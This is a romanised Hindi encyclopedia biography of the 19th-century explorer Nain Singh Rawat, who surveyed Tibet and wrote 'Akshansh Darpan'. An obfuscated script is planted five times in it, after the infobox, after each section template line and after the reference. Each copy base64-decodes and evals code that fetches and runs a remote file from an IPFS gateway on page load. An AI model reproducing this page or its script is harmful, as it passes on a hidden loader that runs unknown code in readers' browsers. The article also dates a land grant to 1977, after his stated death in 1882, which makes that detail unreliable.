नैन सिंह रावत
nain sianh ravat
| |
| janm | 21 aktoobar, 1830 |
| janm bhoomi | kumaooan, |
| mrityu | 1 faravari, 1882 |
| mrityu sthan | muradabad, uttar pradesh |
| karm bhoomi | bharat |
| karm-kshetr | anveshan |
| mukhy rachanaean | 'akshaansh darpan' |
| puraskar-upadhi | 'kampeniyan aph d iandiyan empayar' ka khitab |
| prasiddhi | bharatiy anveshak |
| nagarikata | bharatiy |
| vishesh | nain sianh ravat ne hi sabase pahale duniya ko bataya ki lhasa ki samudr tal se ooanchaee kitani hai, usake akshaansh aur deshaantar kya haian. yahi nahian unhoanne duniya ko yah bhi bataya ki svaang po aur brahmaputr ek hi nadi hai. |
| any janakari | tibbat ka sarvekshan karane vale nain sianh ravat pahale vyakti the. briten ke lie himalay ke kshetroan ka anveshan karane vale vah shuruati bharatiyoan mean se ek the. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
nain sianh ravat (aangrezi: Nain Singh Rawat, janm- 21 aktoobar, 1830, kumaooan; mrityu- 1 faravari, 1882, muradabad) himalayi ilakoan ki khoj karane vale pahale bharatiy the. ve 19vian shatabdi ke un panditoan mean se the, jinhoanne aangrezoan ke liye himalay ke kshetroan ki khojabin ki. nain sianh ravat kumaooan ghati ke rahane vale the. unhoanne nepal se hote hue tibbat tak ke vyaparik marg ka manachitran kiya. unhoanne hi sabase pahale lhasa ki sthiti tatha ooanchaee jnat ki aur tibbat se bahane vali mukhy nadi tsaangapo ke bahut b de bhag ka manachitran bhi kiya. nain sianh ravat ko ek eksaplorar ke roop mean hi yad nahian kiya jata, balki hiandi mean adhunik vijnan mean "akshaansh darpan" nam ki ek kitab likhane vale vah pahale bharatiy the. yah pustak shodh kary karane vali pidhiyoan ke lie ek granth ke saman hai.
parichay
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
nain sianh ravat kumaooan kshetr ke rahane vale the. unaka janm 21 aktoobar san 1830 mean kumaooan ke pithauragadh zile ke milam namak gaanv mean hua tha. unhoanne apani praranbhik shiksha gaanv mean hi hasil ki thi, lekin arthik tangi ke karan vah jald hi pita ke sath bharat aur tibbat ke bich chalane vale paranparik vyapar se ju d ge. apane pita ke sath unhean tibbat ke kee sthanoan par jane aur unhean samajhane ka mauka mila. unhoanne tibbati bhasha sikhi, jisase unhean kaphi madad mili. hindi aur tibbati ke alava unhean farasi aur aangrezi ka bhi achchha jnan tha. mahan anveshak, sarvekshak aur manachitrakar nain sianh ravat ne apani yatraoan ki dayariyaan bhi taiyar ki thian.
yogadan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
19vian shatabdi mean aangrez bharat ka naksha taiyar kar rahe the aur lagabhag poore bharat ka naksha bana chuke the. ab vah age badhane ki taiyari kar rahe the, lekin unake age badhane mean sabase b da ro da tha tibbat. yah kshetr duniya se chhupa hua tha. n sirf vahaan ki janakariyaan behad kam thian balki videshiyoan ka vahaan jana bhi sakht mana tha. aise mean aangrez kashamakash mean the ki vahaan ka naksha taiyar hoga kaise? halaanki britani sarakar ne kee koshishean kian, lekin har bar nakami hi hath lagi. pandit nain sianh ravat par kitab likh chuke aur un par shodh kar rahe ritaryad aeeees adhikari eses paangati ke anusar- "aangrez aphasar tibbat ko jan pane mean nakam ho ge the." kee bar viphal hone ke bad us samay ke sarvekshak janaral mauantagumari ne ye phaisala liya ki aangrezoan ke bajae un bharatiyoan ko vahaan bheja jae jo tibbat ke sath vyapar karane vahaan aksar ate jate haian. aur phir khoj shuroo huee aise logoan ki jo vahaan ki bhaugolik janakari ekatr kar payean, aur akhirakar 1863 mean kaiptan mauantagumari ko do aise log mil hi ge. 33 sal ke pandit nain sianh ravat aur unake chachere bhaee mani sianh.
puraskar v samman
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
nain sianh ravat ko ek eksaplorar ke roop mean hi yad nahian kiya jata, balki hiandi mean adhunik vijnan mean "akshaansh darpan" nam ki ek kitab likhane vale vah pahale bharatiy the. yah pustak sarveyaroan ki ane vali pidhiyoan ke liye bhi ek granth ke saman hai. british raj mean nain sianh ravat ke kamoan ko kaphi saraha gaya. britani sarakar ne 1977 mean bareli ke pas tin gavoan ki jagiradari unhean puraskar svaroop pradan ki. isake alava unake kamoan ko dekhate hue 'kampeniyan aph d iandiyan empayar' ka khitab diya gaya. isake alava bhi anek sansthaoan ne unake kam ko saraha. eshiya ka manachitr taiyar karane mean unaka yogadan sarvopari hai.
upalabdhiyaan
- british 19vian shatabdi mean tibbat ka naksha banana chahate the, lekin us samay yooropiy logoan ka har jagah svagat nahian hua karata tha. briten ke lie himalay ke kshetroan ka anveshan karane vale vah shuruati bharatiyoan mean se the.[1]
- nain sianh ravat ne sabase pahale 1855-1857 mean apani yatra jarman logoan ke sath shuroo ki thi. unhoanne manasarovar aur rakas tal jhil ki yatra ki. isake bad ve garatok aur laddakh ge.
- tibbat ka sarvekshan karane vale nain sianh ravat pahale vyakti the. tibbati bhikshu ke roop mean prasiddh ravat kumaooan kshetr ke apane ghar se kathamaandoo, lhasa aur tavaang tak ge.
- nain sianh ravat bhaugolik aanveshan mean prashikshit, uchch shikshit aur bahadur sthaniy purushoan mean se ek the.
- lhasa ke satik sthan aur ooanchaee ko nain sianh ravat ne nirdharit kiya, tsaangapo ka naksha banaya aur thok jaluang ki sone ki khadanoan ke bare mean bataya.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ himalayi ilakoan ki khoj karane vale pahale bharatiy the nain sianh ravat, janean 5 khas batean (hiandi) zeenews.india.com. abhigaman tithi: 24 mee, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>